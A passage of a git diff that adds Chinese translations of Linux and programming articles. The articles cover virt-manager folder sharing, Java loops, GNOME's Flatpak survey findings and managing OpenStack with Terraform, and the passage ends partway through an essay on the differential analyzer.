+ +``` + +点击 “完成Finish”。在 virt-manager 主窗口中,右键点击虚拟机,点击运行,启动虚拟机。确保点击“显示图形控制台show the graphical console”(如果虚拟机没有显示,点击工具条上的监视器图标)。 + +在客户机中,创建一个你想挂载主机文件夹的文件夹。在这个例子中,我使用了 `/mnt/pictures`。 + +``` +sudo mkdir /mnt/pictures +``` + +最后,使用你在上述步骤中创建的标签将主机文件夹挂载到这个新文件夹。使用下面的命令在终端做这件事。确保根据你的系统改变下面命令中的标签和文件夹名称。 + +``` +sudo mount -t virtiofs mount_tag_pictures /mnt/pictures +``` + +现在你可以在 virt-manager 中的主机和客户机之间的无缝地浏览文件夹和添加/删除项目。 + +![从 virt-manager 客户机访问主机文件][8] + +### 总结 + +我希望这个方案能帮助你从客户机上访问主机文件和文件夹。记住,你的用户 ID,也就是用来启动 virt-manager 应用的用户,应该有同样的权限来访问主机文件夹。 + +如果你遇到任何错误,上述指南帮助了你,请在下面留言。 + +- [参考][9] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/share-folder-virt-manager/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://virt-manager.org/ +[2]: https://libvirt.org/manpages/libvirtd.html +[3]: https://www.debugpoint.com/virt-manager/ +[4]: https://www.debugpoint.com/wp-content/uploads/2023/01/Open-the-settings.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2023/01/Enable-the-shared-memory-option.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2023/01/Click-on-add-hardware.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2023/01/Add-a-new-file-system-hardware.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2023/01/Access-host-files-from-virt-manager-guest.jpg +[9]: https://libvirt.org/kbase/virtiofs.html +[0]: https://img.linux.net.cn/data/attachment/album/202301/23/163636dm5j1wrsga95xgrd.jpg \ No newline at end of file diff --git a/published/202301/20230114.0 ⭐️ A 4-minute guide to Java loops.md b/published/202301/20230114.0 ⭐️ A 4-minute guide to Java loops.md new file mode 100644 index 0000000000..850fe767b9 --- /dev/null +++ b/published/202301/20230114.0 ⭐️ A 4-minute guide to Java loops.md @@ -0,0 +1,155 @@ +[#]: subject: "A 4-minute guide to Java loops" +[#]: via: "https://opensource.com/article/23/1/java-loops" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15495-1.html" + +Java 循环语句的简要指南 +====== + +![][0] + +> 无论你使用的是 `while` 循环、`do`/`while` 循环,还是无限循环,了解循环的工作原理对 Java 编程至关重要。 + +只要某些预定的条件为真,一个 `while` 循环就会执行一组任务。这被认为是一个控制结构,可以指导程序的流程。它是一种你可以通过定义一个条件来告诉你的代码要做什么的方法,它可以测试它,并根据它发现的情况采取行动。Java 中的两种 `while` 循环是 `while` 和 `do`/`while`。 + +### Java while 循环 + +`while` 循环的目的是对数据进行迭代,直到某个条件得到满足。要创建一个 `while` 循环,你需要提供一个可以测试的条件,然后是你想要运行的代码。Java 有几个内置的测试函数,其中最简单的是数学运算符(`<`, `>`, `==`, 等等): + +``` +package com.opensource.example; + +public class Example { + public static void main(String[] args) { + + int count = 0; + while (count < 5) { + System.out.printf("%d ", count); + count++; + } + } +} +``` + +在这个简单的例子中,条件是变量 `count` 小于 5。因为 `count` 被实例化为 0,然后在 `while` 循环的代码中增加 1,所以程序总共迭代了 5 次: + +``` +$ java ./while.java +0 1 2 3 4 +``` + +在它进行第六次迭代之前,条件不再是真的,所以循环结束。 + +`while` 循环的条件语句是至关重要的。弄错了可能意味着你的循环永远不会执行。例如,假设你把 `count == 5` 作为条件: + +``` +while (count == 5) { + System.out.printf("%d ", count); + count++; +``` + +当你运行这段代码时,它的构建和运行都很成功,但什么也没有发生: + +``` +$ java ./while.java +$ +``` + +循环被跳过了,因为 `count` 被设置为 0,而且在第一次遇到 while 循环的时候,它还是 0。循环从未开始,`count` 也从未被递增。 + +与此相反的是,当一个条件开始为真,并且永远不会为假时,这将导致一个无限循环。 + +### Java do while 循环 + +与 `while` 循环相似,`do`/`while` 循环在每次迭代结束时测试条件,而不是在开始时测试条件。有了这个循环,循环中的代码至少运行一次,因为没有进入的入口,只有退出的出口: + +``` +package com.opensource.example; + +public class Example { + public static void main(String[] args) { + + int count = 9; + do { + System.out.printf("%d ", count); + count++; + } while(count == 5); + } +} +``` + +在这个示例代码中,`count` 被设置为 9。循环重复的条件是 `count` 等于 5,但是 9 不等于 5。不过,这个检查要到第一次迭代结束时才进行: + +``` +$ java ./do.java +9 +``` + +### Java 无限循环 + +无限循环,正如它的名字所示,永远不会结束。有时它们是被错误地创建的,但无限循环确实有一个有效的场景。有时你想让一个进程无限地继续下去(在功能上是无限的,因为你不能保证你需要它什么时候停止),因此你可能会把你的条件设置为不可能满足的东西。 + +假设你写了一个应用程序,在僵尸天启期间计算留在你附近的僵尸的数量。为了模拟需要多少个循环才能达到 0 个僵尸的不确定性,我的演示代码从操作系统中检索了一个时间戳,并将计数器(`c`)的值设置为从该时间戳得出的某个数字。因为这是一个简单的例子,你不会真的想陷入一个无限循环,这段代码倒数到 0,并使用 `break` 函数来强制结束循环: + +``` +package com.opensource.example; + +public class Example { + public static void main(String[] args) { + + long myTime = System.currentTimeMillis(); + + int c; + + if ( myTime%2 == 0 ) { + c = 128; + } else { + c = 1024; + } + + while(true) { + System.out.printf("%d Zombies\n", c); + + // break for convenience + if ( c <= 0 ) { break; } + c--; + } + } +} +``` + +你可能要运行几次才能触发不同的僵尸总数,但有时你的程序会迭代 128 次,有时会迭代 1024 次: + +``` +$ java ./zcount.java +1024 Zombies +1023 Zombies +[...] +0 Zombies +``` + +你能说出为什么循环的终点是 0 而不是 -1 吗? + +### Java 循环 + +循环使你能够控制程序的执行流程。迭代在编程中很常见,无论你使用 `while` 循环、`do`/`while` 循环还是无限循环,了解循环的工作原理都是至关重要的。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/java-loops + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed + +[0]: https://img.linux.net.cn/data/attachment/album/202301/31/093057lesc38vufbuzustm.jpg \ No newline at end of file diff --git a/published/202301/20230119.0 ⭐️ Over 90% Systems Had Flatpak Installed, Says GNOME's Research Report.md b/published/202301/20230119.0 ⭐️ Over 90% Systems Had Flatpak Installed, Says GNOME's Research Report.md new file mode 100644 index 0000000000..a88bb4dc53 --- /dev/null +++ b/published/202301/20230119.0 ⭐️ Over 90% Systems Had Flatpak Installed, Says GNOME's Research Report.md @@ -0,0 +1,92 @@ +[#]: subject: "Over 90% Systems Had Flatpak Installed, Says GNOME's Research Report" +[#]: via: "https://news.itsfoss.com/gnome-research-report/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15490-1.html" + +GNOME 的研究报告称 90% 以上的系统都安装了 Flatpak +====== + +> GNOME 的调查数据揭示了一些令人感兴趣的用户偏好。这是否会影响 GNOME 在不久的将来的开发决策?让我们拭目以待。 + +![GNOME 的研究报告说,超过 90% 的系统安装了 Flatpak][1] + +在 2022 年 8 月,GNOME 开发了 [一个工具][2],让用户可以匿名提供关于他们的系统配置、扩展和 GNOME 调整的设置。 + +这是为了**帮助 GNOME 深入了解**用户的偏好,并在分析数据的基础上做出更好的决定。 + +GNOME 设计团队的成员 [Allan Day][3] 在最近的一篇博文中分享了收集的数据。它包含了一些有趣的洞察和发现。 + +让我带你了解一下: + +### 研究报告的发现 + +本研究报告包括来自 2,517 个用户的数据,这些用户的硬件和软件配置各不相同。 + +> 📋 这些数据是使用 [gnome-info-collect 工具][4] 从向 GNOME 提供数据的人那里获得的,并不代表 GNOME 的全部用户。 + +最初,他们收到了 2,560 个回复,但由于一些数据没有来自使用 GNOME 的系统或来自虚拟机,他们不得不从数据集中删除一些。 + +它包含什么?它含有匿名的非敏感数据指标,显示了用户是如何设置他们的系统的。 + +> 💡 这对 GNOME 团队来说可以有很大的用处,他们现在可以使用这些数据来做出设计和开发的决定。 + +其中一个引起我们注意的数据指标是在他们的 GNOME 系统上使用 Flatpak 的人的百分比。 + +**超过 90% 的系统都安装了 Flatpak。** + +在 2517 个用户中,有高达 2344 个用户在他们的 GNOME 系统上安装了 Flatpak。其中 2,102 人完全启用了它。 + +在这样一个小的数据集中,这是一个巨大的数字! 🤯 + +关于这一点,Allan 有这样的补充说明: + +> Flatpak 和 Flathub 对 GNOME 的战略方向至关重要,所以了解它们的采用程度是很有用的。这种采用程度也与 GNOME 的软件应用设计有关。 + +除此之外,一些关键的收获包括: + +- 最常用的默认网页浏览器是 Mozilla Firefox。 +- 在使用 GNOME 的人中,最常用的发行版是 Fedora。 +- 谷歌是配置了在线账户的用户的首选账户。 +- GIMP 是安装在 GNOME 上最受欢迎的应用程序之一,紧随其后的是 VLC。 +- 83% 的用户至少启用了一个 GNOME 扩展。 + +我建议你通过该 [研究报告][5] 来获得更深入的了解。 + +### 这是否有助于改善 GNOME 的体验? + +收集这些数据是为了通过分析和提供给设计和开发团队来改善桌面体验。 + +然而,收集到的数据仍然相当有限,可能无法代表大多数的 GNOME 用户。 + +为了解决这个问题,博文中提到: + +> 总的来说,这些数据对于 GNOME 项目应该专注于哪些功能给出了一些有力的提示。它也提供了关于哪些功能不应该被优先考虑的证据。需要记住的是,虽然我们在这里有关于一些 GNOME 用户做出的决定的证据,但这些数据并没有让我们深入了解为什么他们会做出这样的决定。 + +GNOME 团队希望在根据这些数据做出决定时保持谨慎。而且,像这样的调查应该能让他们更好地了解用户的偏好,并把重点放在基本层面上更重要的东西上。 + +当然,不可能照顾到每一种类型的用户。但是,只要基本面得到了照顾,桌面体验最终应该得到改善。 + +你对这些发现有什么看法?欢迎在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-research-report/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/flatpak-gnome-research-report.jpg +[2]: https://news.itsfoss.com/gnome-improve-tool/ +[3]: https://twitter.com/allanday +[4]: https://gitlab.gnome.org/vstanek/gnome-info-collect/ +[5]: https://blogs.gnome.org/aday/2023/01/18/gnome-info-collect-what-we-learned/ diff --git a/published/20230131.1 ⭐️⭐️ Use Terraform to manage an OpenStack cluster.md b/published/20230131.1 ⭐️⭐️ Use Terraform to manage an OpenStack cluster.md new file mode 100644 index 0000000000..f926d40b0d --- /dev/null +++ b/published/20230131.1 ⭐️⭐️ Use Terraform to manage an OpenStack cluster.md @@ -0,0 +1,376 @@ +[#]: subject: "Use Terraform to manage an OpenStack cluster" +[#]: via: "https://opensource.com/article/23/1/terraform-manage-openstack-cluster" +[#]: author: "AJ Canlas https://opensource.com/users/ajscanlas" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15586-1.html" + +使用 Terraform 来管理 OpenStack 集群 +====== + +> Terraform 是一种声明性语言,可以作为你正在建设的基础设施的蓝图。 + +在拥有一个 OpenStack 生产环境和家庭实验室一段时间后,我可以肯定地说,从管理员和租户的角度置备工作负载和管理它是很重要的。 + +Terraform 是一个开源的基础设施即代码(IaC)软件工具,用于 置备provisioning网络、服务器、云平台等。Terraform 是一种声明性语言,可以作为你正在建设的基础设施的蓝图。你可以用 Git 来管理它,它有一个强大的 [GitOps][1] 使用场景。 + +本文介绍了使用 Terraform 管理 OpenStack 集群的基础知识。我使用 Terraform 重新创建了 OpenStack 演示项目。 + +### 安装 Terraform + +我使用 CentOS 作为跳板机运行 Terraform。根据官方文档,第一步是添加 Hashicorp 仓库: + +``` +$ sudo dnf config-manager --add-repo https://rpm.releases.hashicorp.com/RHEL/hashicorp.repo +``` + +接下来,安装 Terraform: + +``` +$ sudo dnf install terraform -y +``` + +验证安装: + +``` +$ terraform –version +``` + +如果你看到返回的版本号,那么你已经安装了 Terraform。 + +### 为 OpenStack 提供者创建一个 Terraform 脚本 + +在 Terraform 中,你需要一个 提供者provider,它是一个转换器,Terraform 调用它将你的 `.tf` 转换为对你正在协调的平台的 API 调用。 + +有三种类型的提供者:官方、合作伙伴和社区: + +- 官方提供者由 Hashicorp 维护。 +- 合作伙伴提供者由与 Hashicorp 合作的技术公司维护。 +- 社区提供者是由开源社区成员维护的。 + +在这个 [链接][2] 中有一个很好的 OpenStack 的社区提供者。要使用这个提供者,请创建一个 `.tf` 文件,并命名为 `main.tf`。 + +``` +$ vi main.tf +``` + +在 `main.tf` 中添加以下内容: + +``` +terraform { + required_version = ">= 0.14.0" + required_providers { + openstack = { + source = "terraform-provider-openstack/openstack" + version = "1.49.0" + } + } +} + +provider "openstack" { + user_name = “OS_USERNAME” + tenant_name = “OS_TENANT” + password = “OS_PASSWORD” + auth_url = “OS_AUTH_URL” + region = “OS_REGION” +} +``` + +你需要修改 `OS_USERNAME`、`OS_TENANT`、`OS_PASSWORD`、`OS_AUTH_URL` 和 `OS_REGION` 变量才能工作。 + +### 创建一个 Terraform 管理文件 + +OpenStack 管理文件的重点是置备外部网络、路由、用户、镜像、租户配置文件和配额。 + +此示例提供风格,连接到外部网络的路由、测试镜像、租户配置文件和用户。 + +首先,为置备资源创建一个 `AdminTF` 目录: + +``` +$ mkdir AdminTF + +$ cd AdminTF +``` + +在 `main.tf` 中,添加以下内容: + +``` +terraform { + required_version = ">= 0.14.0" + required_providers { + openstack = { + source = "terraform-provider-openstack/openstack" + version = "1.49.0" + } + } +} + +provider "openstack" { + user_name = “OS_USERNAME” + tenant_name = “admin” + password = “OS_PASSWORD” + auth_url = “OS_AUTH_URL” + region = “OS_REGION” +} + +resource "openstack_compute_flavor_v2" "small-flavor" { + name = "small" + ram = "4096" + vcpus = "1" + disk = "0" + flavor_id = "1" + is_public = "true" +} + +resource "openstack_compute_flavor_v2" "medium-flavor" { + name = "medium" + ram = "8192" + vcpus = "2" + disk = "0" + flavor_id = "2" + is_public = "true" +} + +resource "openstack_compute_flavor_v2" "large-flavor" { + name = "large" + ram = "16384" + vcpus = "4" + disk = "0" + flavor_id = "3" + is_public = "true" +} + +resource "openstack_compute_flavor_v2" "xlarge-flavor" { + name = "xlarge" + ram = "32768" + vcpus = "8" + disk = "0" + flavor_id = "4" + is_public = "true" +} + +resource "openstack_networking_network_v2" "external-network" { + name = "external-network" + admin_state_up = "true" + external = "true" + segments { + network_type = "flat" + physical_network = "physnet1" + } +} + +resource "openstack_networking_subnet_v2" "external-subnet" { + name = "external-subnet" + network_id = openstack_networking_network_v2.external-network.id + cidr = "10.0.0.0/8" + gateway_ip = "10.0.0.1" + dns_nameservers = ["10.0.0.254", "10.0.0.253"] + allocation_pool { + start = "10.0.0.1" + end = "10.0.254.254" + } +} + +resource "openstack_networking_router_v2" "external-router" { + name = "external-router" + admin_state_up = true + external_network_id = openstack_networking_network_v2.external-network.id +} + +resource "openstack_images_image_v2" "cirros" { + name = "cirros" + image_source_url = "https://download.cirros-cloud.net/0.6.1/cirros-0.6.1-x86_64-disk.img" + container_format = "bare" + disk_format = "qcow2" + + properties = { + key = "value" + } +} + +resource "openstack_identity_project_v3" "demo-project" { + name = "Demo" +} + +resource "openstack_identity_user_v3" "demo-user" { + name = "demo-user" + default_project_id = openstack_identity_project_v3.demo-project.id + password = "demo" +} +``` + +### 创建一个租户 Terraform 文件 + +作为一个 租户Tenant,你通常会创建虚拟机。你还为这些虚拟机创建网络和安全组。 + +这个例子使用上面由 Admin 文件创建的用户。 + +首先,创建一个 `TenantTF` 目录,用于与租户相关的置备: + +``` +$ mkdir TenantTF +$ cd TenantTF +``` + +在 `main.tf` 中,添加以下内容: + +``` +terraform { + required_version = ">= 0.14.0" + required_providers { + openstack = { + source = "terraform-provider-openstack/openstack" + version = "1.49.0" + } + } +} + +provider "openstack" { + user_name = “demo-user” + tenant_name = “demo” + password = “demo” + auth_url = “OS_AUTH_URL” + region = “OS_REGION” +} + +resource "openstack_compute_keypair_v2" "demo-keypair" { + name = "demo-key" + public_key = "ssh-rsa ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" +} + + +resource "openstack_networking_network_v2" "demo-network" { + name = "demo-network" + admin_state_up = "true" +} + +resource "openstack_networking_subnet_v2" "demo-subnet" { + network_id = openstack_networking_network_v2.demo-network.id + name = "demo-subnet" + cidr = "192.168.26.0/24" +} + +resource "openstack_networking_router_interface_v2" "demo-router-interface" { + router_id = “XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX” + subnet_id = openstack_networking_subnet_v2.demo-subnet.id +} + +resource "openstack_compute_instance_v2" "demo-instance" { + name = "demo" + image_id = "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY" + flavor_id = "3" + key_pair = "demo-key" + security_groups = ["default"] + + metadata = { + this = "that" + } + + network { + name = "demo-network" + } +} +``` + +### 初始化你的 Terraform + +创建 Terraform 文件后,你需要初始化 Terraform。 + +对于管理员: + +``` +$ cd AdminTF + +$ terraform init + +$ terraform fmt +``` + +对于租户: + +``` +$ cd TenantTF + +$ terraform init + +$ terraform fmt +``` + +命令解释: + +- `terraform init` 从镜像源下载提供者用于置备此项目。 +- `terraform fmt` 格式化文件,以便在仓库中使用。 + +### 创建一个 Terraform 计划 + +接下来,为你创建一个 计划plan,看看将创建哪些资源。 + +对于管理员: + +``` +$ cd AdminTF + +$ terraform validate + +$ terraform plan +``` + +对于租户: + +``` +$ cd TenantTF + +$ terraform validate + +$ terraform plan +``` + +命令解释: + +- `terraform validate` 验证 `.tf` 语法是否正确。 +- `terraform plan` 在缓存中创建一个计划文件,所有管理的资源在创建和销毁时都可以被跟踪。 + +### 应用你的第一个 TF + +要部署资源,使用 `terraform apply` 命令。该命令应用计划文件中的所有资源状态。 + +对于管理员: + +``` +$ cd AdminTF + +$ terraform apply +``` + +对于租户: + +``` +$ cd TenantTF + +$ terraform apply +``` + +### 接下来的步骤 + +之前,我写了一篇关于在树莓派上部署最小 OpenStack 集群的 [文章][3]。你可以找到更详细的 [Terraform 和 Ansible][4] 配置,并通过 GitLab 实现一些 CI/CD。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/terraform-manage-openstack-cluster + +作者:[AJ Canlas][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ajscanlas +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/3/gitops +[2]: https://registry.terraform.io/providers/terraform-provider-openstack/openstack/1.49.0 +[3]: https://opensource.com/article/20/12/openstack-raspberry-pi +[4]: https://www.ansible.com/blog/ansible-vs.-terraform-demystified?intcmp=7013a000002qLH8AAM +[0]: https://img.linux.net.cn/data/attachment/album/202303/01/114855zdkhdhsdoojmrqx2.jpg \ No newline at end of file diff --git a/published/202302/20200406 How to Use a Differential Analyzer (to Murder People).md b/published/202302/20200406 How to Use a Differential Analyzer (to Murder People).md new file mode 100644 index 0000000000..a4156193b9 --- /dev/null +++ b/published/202302/20200406 How to Use a Differential Analyzer (to Murder People).md @@ -0,0 +1,144 @@ +[#]: subject: "How to Use a Differential Analyzer (to Murder People)" +[#]: via: "https://twobithistory.org/2020/04/06/differential-analyzer.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "toknow-gh" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15564-1.html" + +怎么用微分分析仪(来杀人) +====== + +微分分析仪是一种能够求解微分方程的机械式模拟计算机。它已经不再使用了,因为如今最便宜的笔记本电脑都能更快地解决相同的问题,并且你还可以同时在线刷剧。然而在数字计算机发明之前,微分分析仪使数学家能够完成一些用其它工具不可能完成的计算。 + +现如今很难想象一台不是由印刷的数字电路组成的计算机竟然是可以正常运作的。机械计算机听起来就像是从蒸汽朋克小说里跑出来的一样。事实证明微分分析仪不但能用,而且还是一些研究领域中必不可少的工具。它最为人所知的应用是曾被美国陆军用于编制火炮射表。如果没有射表辅助瞄准,口径再大的火炮也无法充分发挥效能。所以理论上来说,微分分析仪在帮助同盟国赢得二战上发挥了重要作用。 + +要弄清微分分析仪是如何做到这些的,你首先得知道什么是微分方程。已经还给学校了?没事,我也一样。 + +### 微分方程 + +你首次接触微分方程应该是在大学《微积分 I》的最后几周。在学期的这个阶段,你那薪资低微的兼职教授应该已经教授过极限、导数和积分这些概念了。在这些概念之上再引入等号,现在你就得到了一个微分方程。 + +微分方程描述了一个变量相对于另一个(或多个)变量的变化率。形如 $y = 4x + 3$ 的常见代数式表示变量 $y$ 与 变量 $x$ 之间的关系。形如 $\frac{dy}{dx} = x$ 或 $\frac{dy}{dx} = 2$ 的微分方程表示变化率与其它变量间的关系。本质上微分方程就是用纯数学方式来描述变化率。前面第一个方程表示 “变量 $y$ 相对于变量 $x$ 的变化率刚好等于 $x$。”第二个方程表示“无论 $x$ 的值是多少,$y$ 相对于 $x$ 的变化率总是 2。” + +微分方程非常有用,因为在现实世界中,描述复杂系统从一个瞬间到下一个瞬间的变化往往比想出一个描述系统在所有可能的瞬间的方程要容易。因此,微分方程被广泛应用于物理和工程领域。一个著名的微分方程是热传导方程heat equation。它能描述热量在物体中的扩散过程。要提出一个完全地描述物体在某时刻 $t$ 的热量分布的函数很困难,但推理热量从某时刻到下一个时刻的扩散过程不太可能会让你绞尽脑汁——近冷者变热,近热者变冷。所以尽管热传导方程在形式上比起前面的例子要复杂得多,它也只是变化率的描述而已。它描述了在给定与周围的温差时,物体上任意一点的温度随时间的变化。 + +再来举一个更具体的例子。假如我在真空中竖直向上抛出一个网球,在我窒息之前它会落回来吗?这是我在高中物理课上被问到的问题,解决它只需要基本的牛顿运动方程。现在暂且假设我已经忘记了牛顿运动方程,只记得物体以恒定的加速度 $g$ (大约为 $10 \;m/s^2$)向地球加速运动。那么如何用微分方程来解决这个问题呢? + +现在把我对高中物理仅存的记忆表示成微分方程。网球在离手后会向地球以 $g$ 加速运动。也就是说网球的速度相对于时间的变化率为 $g$(在负方向上)。进一步,我们可以说球离地高度的变化率(也就是速度)随时间的变化率是负方向的 $g$。其微分方程形式如下,其中 $h$ 表示高度,$t$ 表示时间: + +$$ +\frac{d^2h}{dt^2} = -g +$$ + +它跟前面的微分方程看起来略有差别,因为这是所谓的二阶微分方程。我们讨论的是变化率的变化率,也许你还记得微积分课讲过,这需要用到二阶导数。这是方程左边部分看上去像被平方了的原因。但是该方程也仅仅表示了球向下以恒定的加速度 $g$ 加速运动这一事实。 + +到这里,我可以选择使用微积分来求解微分方程。解微分方程并不是要找满足指定关系的值,而是要找满足关系的函数。对上面的微分方程的另一种理解是存在这样的函数,它的二阶导数为 $-g$。我们想要找到这个函数,因为它能告诉我们球在任意时刻的高度。好在这个微分方程恰巧是容易求解的。通过这样,我们可以重新推导出那些被我遗忘了的运动方程,从而轻松地计算出球落回来所花的时间。 + +但是大部分情况下微分方程是很难求解的。有时甚至是无法求解的。假设我在大学时把更多的精力花在了计算机科学上,那么我的另一种选择就是用微分方程来做模拟。如果已知球的初速度和加速度,我可以轻易用 Python 写一个 `for` 循环来逐秒迭代计算球在离手后 $t$ 时刻的速度。在此基础上对循环程序稍加修改,就可以用算出的速度迭代计算出球的高度。运行这个 Python 模拟程序,它就可以计算出球什么时候落回来了。这个模拟并不是完全精确的,但是我可以通过减小计算用的时间步长来提升精度。总之我要做的只是搞清楚当球落回来时我是否还活着。 + +这就是微分方程的数值解法。这也是大多数领域中求解微分方程时实际采用的方法。对于用数值方法求解微分方程,计算机是必不可少的,因为模拟的精度取决于在微小步长上进行的大量计算。手工计算容易出错并且太耗时。 + +那如果将这个问题的背景时间设定在 1936 年呢?我仍然希望实现计算过程的自动化。但是此时离 克劳德·香农Claude Shannon 完成他的硕士论文还有一年时间。在这篇论文中香农用数字电路实现了 布尔代数boolean algebra。没有数字计算机可用,恐怕就只能寄希望于于模拟计算机了。 + +### 微分分析仪 + +首台微分分析仪是由 范内瓦·布什Vannevar Bush哈罗德·哈森Harold Hazen 于 1928 年到 1931 年在 MIT 建造的。他们两人都是工程师。制造它是为了解决应用数学和物理领域中的实际问题。正如布什在 [1931 年的一篇论文][1] 中所说,微分分析仪是为了解决那些“不断为他们所用方程的复杂性而不是深刻性所困扰的”的数学家的所面临的当代问题。 + +微分分析仪是一台由传动轴、齿轮和转盘组成的复杂仪器,它能够求解高达六阶的微分方程。它是一台由简单部件通过复杂组合而成的神奇机器。在这一点上它和数字计算机很像。不同点是,数字计算机通过在电路中实现布尔代数来模拟代数问题,而微分分析仪通过传动轴、齿轮和转盘直接模拟微分方程问题。微分分析仪的本质就是对实际问题的直接机械类比。 + +那到底怎么用齿轮和转盘来计算微积分呢?其实这是最容易解释的部分。微分分析仪最重要的构件是六个积分器,每一个对应一阶的微分方程。机械积分器的历史可以追溯到 19 世纪,它是一个相对简单的装置,能够对单个简单函数进行积分运算的。下面我们将了解积分器的工作原理,但顺便说一句,布什的巨大成就不是发明了机械积分器,而是发现了一种将积分器串联起来解决高阶微分方程的方法。 + +机械积分器由一个大转盘和一个小得多的转轮组成。转盘像唱片机的转台一样平行于地面平放。它由电机驱动匀速转动。转轮竖直的轻放于转盘表面上,其压力既要足够让转盘驱动转轮,又不能太大以致于阻碍转轮相对于转盘自由侧向滑动。总之当转盘转动时,转轮也跟着转动。 + +转轮的转速由它距离转盘中心的距离决定。转盘的中心部分自然转动得比边缘部分慢。转轮的位置是固定不动的,而转盘被安装在一个可以来回滑动的底座上。这样就可以调节转轮相对转盘中心的位置。下面就是积分器工作的关键原理:转盘底座的位置由积分器的输入函数控制。积分器输出取决于转轮的转动量。所以输入函数驱动了输出函数的变化率,这就是将某个函数的导数转换成了这个函数本身。这不就是积分运算吗? + +如果刚才的解释还没有让你理解积分器的原理,那么直接看到机械积分器实际工作的样子应该对你有所帮助。其实它的原理出乎意料的简单,看一遍它的运行过程你肯定就能窥见其运作机制。因此我制作了一个 [运行中的机械积分器动态原理图][2],强烈建议你看一看。它展示了通过各个部件的旋转和移动求函数 $f(x)$ 的 不定积分antiderivative $F(x)$ 的过程。这可太有趣了。 + +![][3] + +_我的可视化的一个漂亮的截图,但你应该看看原图!_ + +现在我们有了可以做积分运算的组件,但是只靠它还不足以解决微分方程。为了解释求解微分方程的全过程,我将使用布什在他 1931 年的论文中所举的例子。这个例子恰巧跟前面考虑的微分方程是在本质上是一样的。(真是奇妙的巧合!)布什使用下面的微分方程来表示下落物体的运动: + +$$ +\frac{d^2x}{dt^2} = -k\,\frac{dx}{dt} - g +$$ + +这跟前面的网球运动的方程基本上是一样的,只不过布什使用 $x$ 代替了 $h$,并且增加了一项来表示空气阻力的减速作用。这个新增项采用了最简单的形式来描述空气阻力的作用:空气减慢球速的比率正比于球的速度(这里 $k$ 是一个常比例系数,我并不关心它的具体取值)。也就说是球运动得越快,空气阻力就越大,对球的减速作用越显著。 + +为了配置微分分析仪来解决这个微分方程,我们需要从布什称之为“输入面板”的东西开始。输入面板其实就是一张安装在支架上的坐标纸。如果想要解更复杂的方程,首先需要操作员在坐标纸上绘制好输入函数图像,然后在机器启动时用一个与机器主体相连的指针来跟踪函数图像的轨迹。在我们举的例子中,输入是常数 $g$,所以我们只需将指针移动到正确的位置并让它保持不动即可。 + +剩下的变量 $x$ 和 $t$ 又是什么呢?变量 $x$ 表示球的高度,是微分分析仪的输出。它会被绘制在输出面板上的坐标纸上。输出面板与输入面板类似,只是它没有指针,取而代之的是由微分分析仪驱动的绘图笔。变量 $t$ 仅仅是按固定速率步进。(在前面模拟网球运动 Python 程序中,我们通过循环来增加 $t$。)变量 $t$ 